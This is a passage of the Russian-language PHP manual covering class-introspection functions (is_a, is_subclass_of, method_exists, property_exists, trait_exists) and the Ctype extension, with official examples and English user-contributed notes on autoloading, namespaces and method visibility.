Проверяет, принадлежит ли объект к типу или подтипу

  • « interface_exists
  • is_subclass_of »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, принадлежит ли объект к типу или подтипу

is_a

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_a — Проверяет, принадлежит ли объект к типу или подтипу

Описание

is_a(mixed $object_or_class, string $class, bool $allow_string = false): bool

Функция определяет, принадлежит ли объект или класс object_or_class непосредственно к типу объекта class, или тип объекта class — супертип объекта или класса, который проверяют.

Список параметров

object_or_class

Имя класса или экземпляр объекта.

class

Имя класса или интерфейса.

allow_string

Если для параметра установлено значение false, то функция определит принадлежность типа объекта, который проверяют, к типу или подтипу класса, только если в параметр object_or_class передадут экземпляр объекта, а не имя класса. Это также предотвратит вызов автозагрузчика, если класс не найден.

Возвращаемые значения

Функция возвращает true, если объект object_or_class принадлежит к типу объекта class, или тип объекта class — супертип объекта, который проверяют, иначе false.

Примеры

Пример #1 Пример использования функции is_a()

<?php

// Объявляем класс
class WidgetFactory
{
var $oink = 'moo';
}

// Создаём новый объект
$WF = new WidgetFactory();

if (is_a($WF, 'WidgetFactory')) {
echo "Да, \$WF всё ещё WidgetFactory\n";
}

?>

Пример #2 Использование оператора instanceof

<?php

if ($WF instanceof WidgetFactory) {
echo 'Да, $WF — WidgetFactory';
}

?>

Смотрите также

  • get_class() - Возвращает имя класса, которому принадлежит объект
  • get_parent_class() - Получает имя родительского класса для объекта или класса
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

User Contributed Notes

SlimDeluxe 14-Nov-2022 03:52
For anyone wondering, this does not work with traits :(
dkrupyanskiy[at]gmail 10-Jan-2018 09:36
Looks like the function signature given in description is wrong. Actually it can take a string  as a first parameter in the case if $allow_string is set to true.

It took some time to find out how the last parameter should be used. Please consider the following example

<?php

class Foo{}

spl_autoload_register(
    function($classname){
        printf('autoload has been triggered for %s%s', $classname, PHP_EOL);
    }
);

var_dump(is_a('UndefinedClassName', Foo::class, true));

?>
Ronald Locke 30-Sep-2016 02:19
Please note that you have to fully qualify the class name in the second parameter.

A use statement will not resolve namespace dependencies in that is_a() function.

<?php
namespace foo\bar;

class A {};
class B extends A {};
?>

<?php
namespace har\var;

use foo\bar\A;
$foo = new foo\bar\B();

is_a($foo, 'A'); // returns false;
is_a($foo, 'foo\bar\A'); // returns true;
?>

Just adding that note here because all examples are without namespaces.
eitan at mosenkis dot net 12-Jan-2012 01:09
As of PHP 5.3.9, is_a() seems to return false when passed a string for the first argument. Instead, use is_subclass_of() and, if necessary for your purposes, also check if the two arguments are equal, since is_subclass_of('foo', 'foo') will return false, while is_a('foo', 'foo') used to return true.
Aron Budinszky 07-Sep-2011 04:21
Be careful! Starting in PHP 5.3.7 the behavior of is_a() has changed slightly: when calling is_a() with a first argument that is not an object, __autoload() is triggered!

In practice, this means that calling is_a('23', 'User'); will trigger __autoload() on "23". Previously, the above statement simply returned 'false'.

More info can be found here:
https://bugs.php.net/bug.php?id=55475

Whether this change is considered a bug and whether it will be reverted or kept in future versions is yet to be determined, but nevertheless it is how it is, for now...
p dot scheit at zweipol dot net 16-Jan-2007 01:44
At least in PHP 5.1.6 this works as well with Interfaces.

<?php
interface test {
  public function A();
}

class TestImplementor implements test {
  public function A () {
    print "A";
  }
}

$testImpl = new TestImplementor();

var_dump(is_a($testImpl,'test'));
?>

will return true
cesoid at yahoo dot com 05-Oct-2005 07:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.


Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

  • « is_a
  • method_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

is_subclass_of

(PHP 4, PHP 5, PHP 7, PHP 8)

is_subclass_of — Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

Описание

is_subclass_of(mixed $object_or_class, string $class, bool $allow_string = true): bool

Функция проверяет, принадлежит ли объект или класс object_or_class к потомкам класса class, или реализует ли объект или класс, или родители объекта или класса, интерфейс.

Список параметров

object_or_class

Имя класса или экземпляр объекта. Если класс не найден, ошибка не будет выдана.

class

Имя класса.

allow_string

Если для параметра установили значение false, функция определит принадлежность типа объекта, который проверяют, к подтипу класса, только если в параметр object_or_class передадут экземпляр объекта, а не имя класса. Это также предотвратит вызов автозагрузчика, если класс не найден.

Возвращаемые значения

Функция возвращает true, если объект или класс object_or_class принадлежит к потомкам класса class, или если объект или класс, или предок объекта или класса, реализует интерфейс, иначе false.

Примеры

Пример #1 Пример использования функции is_subclass_of()

<?php

// Объявляем класс
class WidgetFactory
{
var $oink = 'moo';
}

// Объявляем наследника
class WidgetFactory_Child extends WidgetFactory
{
var $oink = 'oink';
}

// Создаём новые объекты
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
echo "Да, объект \$WFC наследует класс WidgetFactory\n";
} else {
echo "Нет, объект \$WFC не наследует класс WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
echo "Да, объект \$WF наследует класс WidgetFactory\n";
} else {
echo "Нет, объект \$WF не наследует класс WidgetFactory\n";
}

if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
echo "Да, класс WidgetFactory_Child наследует класс WidgetFactory\n";
} else {
echo "Нет, класс WidgetFactory_Child не наследует класс WidgetFactory\n";
}

?>

Результат выполнения приведённого примера:

Да, объект $WFC наследует класс WidgetFactory
Нет, объект $WF не наследует класс WidgetFactory
Да, класс WidgetFactory_Child наследует класс WidgetFactory

Пример #2 Пример использования функции is_subclass_of() с интерфейсами

<?php

// Определяем интерфейс
interface MyInterface
{
public function MyFunction();
}

// Определяем реализацию интерфейса классом
class MyClass implements MyInterface
{
public function MyFunction()
{
return "Класс MyClass реализует интерфейс MyInterface!";
}
}

// Создаём объект
$my_object = new MyClass;

// Код ниже работает с PHP 5.3.7

// Проверяем экземпляр объекта класса
if (is_subclass_of($my_object, 'MyInterface')) {
echo "Да, тип экземпляра объекта \$my_object наследует тип интерфейса MyInterface\n";
} else {
echo "Нет, тип экземпляра объекта \$my_object не наследует тип интерфейса MyInterface\n";
}

// Проверяем строку — имя класса
if (is_subclass_of('MyClass', 'MyInterface')) {
echo "Да, класс-тип MyClass наследует класс-тип MyInterface\n";
} else {
echo "Нет, класс-тип MyClass не наследует класс-тип MyInterface\n";
}

?>

Результат выполнения приведённого примера:

Да, тип экземпляра объекта $my_object наследует тип интерфейса MyInterface
Да, класс-тип MyClass наследует класс-тип MyInterface

Примечания

Замечание:

Вызов этой функции будет использовать все зарегистрированные функции автозагрузки, если класс ещё не известен.

Смотрите также

  • get_class() - Возвращает имя класса, которому принадлежит объект
  • get_parent_class() - Получает имя родительского класса для объекта или класса
  • is_a() - Проверяет, принадлежит ли объект к типу или подтипу
  • class_parents() - Возвращает список родительских классов заданного класса

User Contributed Notes

alan at jynxy.net 21-Jun-2018 06:56
The $allow_string parameter is not very clearly documented. When true, it simply allows the first parameter to be the name of a class, instead of an object whose class we are interested in.

Some usage examples:

class parent_class {
    // objects and methods ...
}

$possible_child_object = new possible_child_class(); // might be an extension of parent_class

$result = is_subclass_of($possible_child_object, 'parent_class'); //  valid
$result = is_subclass_of($possible_child_object, 'parent_class', false); //  valid
$result = is_subclass_of('possible_child_class', 'parent_class', true); // valid
$result = is_subclass_of('possible_child_class', 'parent_class', false); // not valid
nicholas at aquarionics dot com 17-Mar-2009 01:02
This might be useful to someone, so:

If you're using Autoload, you should be aware that this will attempt to autoload $classname if it isn't already loaded. I discovered this when I had something using is_subclass_of inside an error thrown by autoload, which then recursed until it ran out of memory.
gunniboyh at web dot de 20-May-2006 06:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .


Проверяет, существует ли метод в классе

  • « is_subclass_of
  • property_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, существует ли метод в классе

method_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

method_exists — Проверяет, существует ли метод в классе

Описание

method_exists(object|string $object_or_class, string $method): bool

Проверяет, существует ли метод класса в указанном объекте object_or_class.

Список параметров

object_or_class

Экземпляр объекта или имя класса.

method

Имя метода.

Возвращаемые значения

Возвращает true, если метод method определён для указанного объекта object_or_class, иначе false.

Примеры

Пример #1 Пример использования функции method_exists()

<?php

$directory = new Directory('.');
var_dump(method_exists($directory, 'read'));

?>

Результат выполнения приведённого примера:

bool(true)

Пример #2 Пример статического использования method_exists()

<?php

var_dump(method_exists('Directory','read'));

?>

Результат выполнения приведённого примера:

bool(true)

Примечания

Замечание:

Вызов этой функции будет использовать все зарегистрированные функции автозагрузки, если класс ещё не известен.

Смотрите также

  • function_exists() - Возвращает true, если указанная функция определена
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости
  • class_exists() - Проверяет, объявили ли класс

User Contributed Notes

@prhldchauhan 16-Dec-2021 04:16
if u want to use  "method_exit" function in diffrent file after including this class , then u can't use it directly by "method_exit"

so for this u have to use call_user_func_array to a base function which is available in class already.

then call function in the following way=>

function check($fun) {

        if(method_exists($this, $fun))
            {return true;}
        else
            {return false;}

    }
El 02-Dec-2019 08:39
Undocumented change since 7.4.0 is released:

<?php
class Foo
{
    private function privateMethodTest()
    {

    }
}

class Bar extends Foo
{

}

var_dump(method_exists(Bar::class, 'privateMethodTest'));
// PHP 7.4: bool(false)
// PHP 7.3: bool(true)

var_dump(is_callable(Bar::class, 'privateMethodTest'));
// PHP 7.3: bool(true)
// PHP 7.4: bool(true)
jave [at] issomewhereontheweb [com] 01-Jun-2016 05:15
The function does not care about class existance, so you can use it to check an existance of a method even when class was not declared e.g.
<?php
if( method_exists('THIS_WAS_NOT_DECLARED', 'some_method') )
   echo "it does exist!";
else
   echo "nope, it is not there...";
?>
...raises no errors/warnings... outputs "nope, it is not there..." if class does not exist at all or if it does but the method doesn't.
w3dk 04-Apr-2015 10:38
A couple of the older comments (specifically "jp at function dot fi" and "spam at majiclab dot com") state that is_callable() does not respect a methods visibility when checked outside of that class. ie. That private/protected methods are seen as callable when tested publicly. However, this was a bug (#29210) in early versions of PHP 5 and was fixed (according to the changelog) in PHP 5.0.5 (and/or PHP 5.1.0).

Bug #29210 - Function: is_callable - no support for private and protected classes
http://bugs.php.net/29210

Changelog - Fixed bug #29210 (Function: is_callable - no support for private and protected classes). (Dmitry)
http://php.net/ChangeLog-5.php#5.1.0
charleston olaes at gmail no spaces 10-Oct-2014 04:31
I was wondering if caching the the methods in an array would have a faster lookup. So I ran a very simple benchmark using xdebug_time_index() with 10000 iterations on each statement.

using PHP 5.3.13 btw

<?php
// using an actual instance of an object shows 0.10398316383362 secs
method_exist($object, $method);
?>

<?php
// using a string shows 0.12779307365417 secs
method_exist('ClassName', $method);
?>

<?php
$array = array(/*method names with numeric index*/);
// shows 0.10288906097412 secs
in_array($method, $array);
?>

<?php
$assoc = array( /*method name as key and value*/ );
// shows 0.017536878585815 secs
isset( $assoc[$method] );
?>

From the looks of the results, there is very little difference in method_exist and in_array. Isset seems to the fastest and using a string as the first parameter is the slowest.

Please note that the test was done on multiple methods, not just one, the code presented above is to show the results, not the actual test code that ran. Also, this was tested just out of curiosity and I didn't set up a specific environment or used any profiling tools, and it was not meant to be an official benchmark in anyway.
konzertheld at thedomainistheusersname dot de 15-Feb-2013 05:32
Note that prepending the namespace (if any) is required even if the calling class is in the same namespace:

<?php
namespace test;
class foo {
 public function lookup() {
  // will return false
  return method_exists('bar', 'nonsense_method');
 }
}

class bar {
 public function nonsense_method() {
  // will return true
  return method_exists('test\foo', 'lookup');
 }
}
?>
Niels 11-May-2011 12:45
Just to mention it: both method_exists() and is_callable() return true for inherited methods:

<?php
class ParentClass {

   function doParent() { }
}

class ChildClass extends ParentClass { }

$p = new ParentClass();
$c = new ChildClass();

// all return true
var_dump(method_exists($p, 'doParent'));
var_dump(method_exists($c, 'doParent'));

var_dump(is_callable(array($p, 'doParent')));
var_dump(is_callable(array($c, 'doParent')));
?>
mail at bartrail dot de 25-Apr-2011 10:06
Using method_exists inside an object's __call() method can be very usefull if you want to avoid to get a fatal error because of a limit in function nesting or if you are calling methods that dont exist but need to continue in your application:

<?php
class Something
{

    /**
     * Call a method dynamically
     *
     * @param string $method
     * @param array $args
     * @return mixed
     */
    public function __call($method, $args)
    {
        if(method_exists($this, $method)) {
          return call_user_func_array(array($this, $method), $args);
        }else{
          throw new Exception(sprintf('The required method "%s" does not exist for %s', $method, get_class($this)));
        }
    }

}
?>
phoenix at todofixthis dot com 21-Dec-2010 09:13
As noted [elsewhere] method_exists() does not care about the existence of __call(), whereas is_callable() does:

<?php
class Test {
  public function explicit(  ) {
      // ...
  }

  public function __call( $meth, $args ) {
      // ...
  }
}

$Tester = new Test();

var_export(method_exists($Tester, 'anything')); // false
var_export(is_callable(array($Tester, 'anything'))); // true
?>
uramihsayibok, gmail, com 06-Aug-2010 10:09
It wasn't spelled out but could be inferred: method_exists() also works on interfaces.

<?php

var_dump(method_exists("Iterator", "current"));
// bool(true)

?>
Anonymous 08-May-2010 05:20
If you want to check in a class itself if a method is known you may do so with magic variable __CLASS__

<?php

class A{
  __construct($method){
      return method_exists(__CLASS__,$method);
  }

  private function foo(){

  }
}

$test = new A('foo');
//should return true

?>

You might also use the method describe below with <?php in_array() ?> trick but I consider this one here easier and more readable and well, the way it is intended toi be done ;)
admin ( at ) djokodonev dot com 16-Oct-2009 04:30
Hi,

Here is a useful function that  you can use to check classes methods access e.g whether it is public, private or static or both..

here it goes:

<?php
// Example class
class myClass {

    private $private1;

    static $static1;

    public $public1;

    public function publ() {

    }

    private function priv() {

    }

    private static function privstatic() {

    }

    public static function publstatic() {

    }

    static function mytest() {

    }
}

// The function uses the reflection class that is built into PHP!!!
// The purpose is to determine the type of a certain method that exi
function is_class_method($type="public", $method, $class) {
   // $type = mb_strtolower($type);
    $refl = new ReflectionMethod($class, $method);
    switch($type) {
        case "static":
        return $refl->isStatic();
        break;
        case "public":
        return $refl->isPublic();
        break;
        case "private":
        return $refl->isPrivate();
        break;
    }
}
var_dump(is_class_method("static", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "publstatic", "myClass")); // False the methos is public and also static not private
 // you get the idea.. I hope this helps someone..
?>
florin from syneto net 07-Oct-2009 07:34
This function is case-insensitive (as is PHP) and here is the proof:
<?php
class A {
    public function FUNC() { echo '*****'; }
}

$a = new A();
$a->func(); // *****
var_dump(method_exists($a, 'func')); // bool(true)
?>
jp at function dot fi 30-Apr-2006 02:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
    echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
    echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com 26-Apr-2006 06:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
    static function test() {return "A";}
}
if(method_exists('a','test'))
    print call_user_func(array('a','test'));
else
    print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com 31-Jan-2006 08:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp 09-Jan-2006 07:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com 06-May-2004 07:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
    echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
    echo 'ok';
?>
Thomas@ThBeckmann 31-Jan-2003 01:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de 27-Dec-2002 12:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

    function a() {

        if(method_exists($this, 'test'))
            echo 'a::test() exists!';
        else
            echo 'a::test() doesn\'t exists';

    }

    function test() {

        return true;

    }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com 16-Jan-2002 03:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.


Проверяет, есть ли у объекта или класса свойство

  • « method_exists
  • trait_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, есть ли у объекта или класса свойство

property_exists

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

property_exists — Проверяет, есть ли у объекта или класса свойство

Описание

property_exists(object|string $object_or_class, string $property): bool

Функция проверяет, существует ли свойство property в указанном классе.

Замечание:

В противоположность языковой конструкции isset(), функция property_exists() возвращает true, даже если значение свойства равно null.

Список параметров

object_or_class

Имя класса или объект класса для проверки.

property

Имя свойства.

Возвращаемые значения

Возвращает true, если свойство существует, false, если не существует.

Примеры

Пример #1 Пример использования функции property_exists()

<?php

class myClass {
public $mine;
private $xpto;
static protected $test;

static function test() {
var_dump(property_exists('myClass', 'xpto')); //true
}
}

var_dump(property_exists('myClass', 'mine')); // true
var_dump(property_exists(new myClass, 'mine')); // true
var_dump(property_exists('myClass', 'xpto')); // true
var_dump(property_exists('myClass', 'bar')); // false
var_dump(property_exists('myClass', 'test')); // true
myClass::test();

?>

Примечания

Замечание:

Вызов этой функции будет использовать все зарегистрированные функции автозагрузки, если класс ещё не известен.

Замечание:

Функция property_exists() не определяет свойства, которые магически доступны через магический метод __get.

Смотрите также

  • method_exists() - Проверяет, существует ли метод в классе

User Contributed Notes

biziclop 05-Nov-2023 05:05
I needed a method for finding out if accessing a property outside a class is possible without errors/warnings, considering that the class might use the magic methods __isset/__get to simulate nonexistent properties.

<?php
// returns true if property is safely accessible publicly by using $obj->$prop
// Tested with PHP 5.1 - 8.2, see https://3v4l.org/QBTd1
function public_property_exists( $obj, $prop ){
  // allow magic $obj->__isset( $prop ) to execute if exists
  if( isset( $obj->$prop ))  return true;

  // no public/protected/private property exists with this name
  if( ! property_exists( $obj, $prop ))  return false;

  // the property exists, but is it public?
  $rp = new ReflectionProperty( $obj, $prop );
  return $rp->isPublic();
}

//// Test/demo
class C {
  public    $public    = "I'm public!";
  protected $protected = "I'm public!";
  private   $private   = "I'm public!";
  function __isset( $k ){
    return substr( $k, 0, 5 ) === 'magic';
  }
  function __get( $k ){
    if( $k === 'magic_isset_but_null')  return null;
    return "I'm {$k}!";
  }
}

$o = new C();
foreach( array(
  'public', 'protected', 'private',
  'magic', 'magic_isset_but_null',
  'missing'
) as $prop ){
  if( public_property_exists( $o, $prop ))
        echo "\$o->{$prop} is a public property, its value is: ",
             var_export( $o->$prop, true ), "\n";
  else  echo "\$o->{$prop} is not a public property.\n";
}
/*
$o->public    is a public property, its value is: 'I'm public!'
$o->protected is not a public property.
$o->private   is not a public property.
$o->magic     is a public property, its value is: 'I'm magic!'
$o->magic_isset_but_null is a public property, its value is: NULL
$o->missing   is not a public property.
*/
saurabh dot agarwal89 at gmail dot com 27-May-2015 11:17
$a = array('a','b'=>'c');
print_r((object) $a);
var_dump( property_exists((object) $a,'0'));
var_dump( property_exists((object) $a,'b'));

OUTPUT:
stdClass Object
(
    [0] => a
    [b] => c
)
bool(false)
bool(true)
g dot gentile at parentesigraffe dot com 05-Mar-2015 09:02
The function behaves differently depending on whether the property has been present in the class declaration, or has been added dynamically, if the variable has been unset()

<?php

class TestClass {

    public $declared = null;

}

$testObject = new TestClass;

var_dump(property_exists("TestClass", "dynamic")); // boolean false, as expected
var_dump(property_exists($testObject, "dynamic")); // boolean false, same as above

$testObject->dynamic = null;
var_dump(property_exists($testObject, "dynamic")); // boolean true

unset($testObject->dynamic);
var_dump(property_exists($testObject, "dynamic")); // boolean false, again.

var_dump(property_exists($testObject, "declared")); // boolean true, as espected

unset($testObject->declared);
var_dump(property_exists($testObject, "declared")); // boolean true, even if has been unset()
ewisuri [gmail] 15-Feb-2014 04:37
As of PHP 5.3.0, calling property_exists from a parent class sees private properties in sub-classes.

<?php
class P {
    public function test_prop($prop) { return property_exists($this, $prop); }
}

class Child extends P {
    private $prop1;
}

$child = new Child();
var_dump($child->test_prop('prop1')); //true, as of PHP 5.3.0
Nanhe Kumar 17-Jan-2014 10:39
<?php

class Student {

    protected $_name;
    protected $_email;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    echo "Undefined Property";
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    echo "Undefined Property";
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Student();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Undefined Property
?>
Stefan W 03-Sep-2013 01:23
If you are in a namespaced file, and you want to pass the class name as a string, you will have to include the full namespace for the class name - even from inside the same namespace:

<?
namespace MyNS;

class A {
    public $foo;
}

property_exists("A", "foo");          // false
property_exists("\\MyNS\\A", "foo");  // true
?>


Проверяет, существует ли трейт

  • « property_exists
  • Ctype »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, существует ли трейт

trait_exists

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

trait_exists — Проверяет, существует ли трейт

Описание

trait_exists(string $trait, bool $autoload = true): bool

Список параметров

trait

Имя трейта для проверки

autoload

Нужно ли автоматически подгружать класс, если он ещё не загружен.

Возвращаемые значения

Возвращает true, если трейт существует, в противном случае возвращает false.

User Contributed Notes

astinus dot eberhard at gmail dot com 10-Mar-2017 03:35
Traits are compatible with class autoload mechanism - in fact, if you look at source code of trait_exists function, you will find similar peace of code (see Zend/zend_builtin_functions.c)
valerio dot bozzolan at gmail dot com 28-Jan-2016 06:38
What is the default value of $autoload? And in which way traits are autoloaded? Is there something as spl_autoload() for traits?
Lubaev.K 19-Jun-2013 02:20
<?php
trait World {

    private static $instance;
    protected $tmp;

    public static function World()
    {
        self::$instance = new static();
        self::$instance->tmp = get_called_class().' '.__TRAIT__;

        return self::$instance;
    }

}

if ( trait_exists( 'World' ) ) {

    class Hello {
        use World;

        public function text( $str )
        {
            return $this->tmp.$str;
        }
    }

}

echo Hello::World()->text('!!!'); // Hello World!!!


Функции проверки типа символов

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Ctype
    • ctype_alnum — Проверяет буквенно-цифровые символы
    • ctype_alpha — Проверяет буквенные символы
    • ctype_cntrl — Проверяет управляющие символы
    • ctype_digit — Проверяет цифровые символы
    • ctype_graph — Проверяет любые печатные символы кроме пробела
    • ctype_lower — Проверяет символы в нижнем регистре
    • ctype_print — Проверяет печатные символы
    • ctype_punct — Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
    • ctype_space — Проверяет пробельные символы
    • ctype_upper — Проверяет символы в верхнем регистре
    • ctype_xdigit — Проверяет шестнадцатеричные цифры

User Contributed Notes

There are no user contributed notes for this page.


Введение

Функции, представленные этим модулем, позволяют проверить принадлежность символа или строки определённому классу символов, принимая во внимание текущие региональные установки (смотрите также функцию setlocale()).

Будучи вызванными с целочисленным аргументом, эти функции ведут себя точно так же, как их C-эквиваленты в языке C (из ctype.h). Это означает, что если передаётся целое значение менее 256, функции проверяют, соответствует ли это значение ASCII указанному классу символов (цифры находятся в диапазоне 0x30-0x39). Если число находится в пределах от -128 до -1 включительно, то к его значению будет прибавлено 256 и сравнение будет проводиться с использованием результата сложения.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Если аргументом выступает строка, то функции будут проверять каждый символ в этой строке и вернут true только если каждый символ удовлетворяет требуемому условию. При вызове с пустой строкой результатом всегда будет false.

При передаче данных других типов (кроме целого или строки) функции сразу же возвращают false.

Следует отметить, что данные функции всегда предпочтительнее, чем использование регулярных выражений и даже некоторых эквивалентных функций "str_*" и "is_*". Это связано с тем, что ctype использует родную библиотеку C, и, следовательно, работают значительно быстрее.

Замечание:

Эти функции не имеют никакого отношения к Python-библиотеке "ctypes". Название модуля является сокращением имени заголовочного файла C ctype.h, в котором определены эквиваленты из C.

Модуль также был создан раньше "ctypes" в Python, так что любая путаница, связанная с этими названиями, вряд ли является ошибкой со стороны разработчиков модуля.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Содержит только функции из стандартной библиотеки C, которая всегда доступна, поэтому дополнительных требований нет.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-ctype

Версия PHP для Windows имеет встроенную поддержку этого модуля. То есть для вызова этих функций не нужна загрузка дополнительных модулей.

User Contributed Notes

There are no user contributed notes for this page.


Функции Ctype

Содержание

  • ctype_alnum — Проверяет буквенно-цифровые символы
  • ctype_alpha — Проверяет буквенные символы
  • ctype_cntrl — Проверяет управляющие символы
  • ctype_digit — Проверяет цифровые символы
  • ctype_graph — Проверяет любые печатные символы кроме пробела
  • ctype_lower — Проверяет символы в нижнем регистре
  • ctype_print — Проверяет печатные символы
  • ctype_punct — Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
  • ctype_space — Проверяет пробельные символы
  • ctype_upper — Проверяет символы в верхнем регистре
  • ctype_xdigit — Проверяет шестнадцатеричные цифры

User Contributed Notes

There are no user contributed notes for this page.


Проверяет буквенно-цифровые символы

  • « Функции Ctype
  • ctype_alpha »
  • PHP Manual
  • Функции Ctype
  • Проверяет буквенно-цифровые символы

ctype_alnum

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_alnum — Проверяет буквенно-цифровые символы

Описание

ctype_alnum(mixed $text): bool

Проверяет, состоит ли переданная строка (string) text только из буквенно-цифровых символов.

Список параметров

text

Проверяемая строка.

Замечание:

Если передано целое число (int) в диапазоне между -128 и 255 включительно, то оно будет обработано как ASCII-код одного символа (к отрицательным значениям будет прибавлено 256, чтобы функция могла представить символы из расширенного диапазона ASCII). Остальные целые числа будут обработаны как строки, содержащие десятичные цифры целых чисел.

Внимание

Начиная с PHP 8.1.0 передача нестроковых аргументов устарела. В будущем аргумент вместо ASCII-кода будет интерпретироваться как строка. В зависимости от предполагаемого поведения аргумент либо преобразовывают в строку (string), либо вызывают функцию chr().

Возвращаемые значения

Возвращает true, если каждый символ в строке text — это буква или цифра, иначе false. При вызове с пустой строкой результатом всегда будет false.

Примеры

Пример #1 Пример использования функции ctype_alnum() (с выбором локали по умолчанию)

<?php

$strings = array('AbCd1zyZ9', 'foo!#$bar');
foreach ($strings as $testcase) {
if (ctype_alnum($testcase)) {
echo "Строка $testcase состоит только из букв и цифр.\n";
} else {
echo "Строка $testcase не состоит только из букв и цифр.\n";
}
}
?>

Результат выполнения приведённого примера:

Строка AbCd1zyZ9 состоит только из букв и цифр.
Строка foo!#$bar не состоит только из букв и цифр.

Смотрите также

  • ctype_alpha() - Проверяет буквенные символы
  • ctype_digit() - Проверяет цифровые символы
  • setlocale() - Устанавливает региональные настройки
  • IntlChar::isalnum() - Проверить, является ли символ буквой либо цифрой

User Contributed Notes

marcelocamargo at linuxmail dot org 04-Jan-2016 04:42
It is also important to note that the behavior of `ctype_alnum` differs according to the operating system. For UNIX-based operating system, if you pass a value that is not a string (or an overloaded object), independently of the value, it will always result in false. However, if we do the same on Windows, using, for example, -1 as literal (a minus and a number greater than 0), we'll have true as result.

<?php var_dump(ctype_alnum(-1));
// UNIX: bool(false)
// Windows: bool(true)
Anonymous 28-Jan-2013 05:12
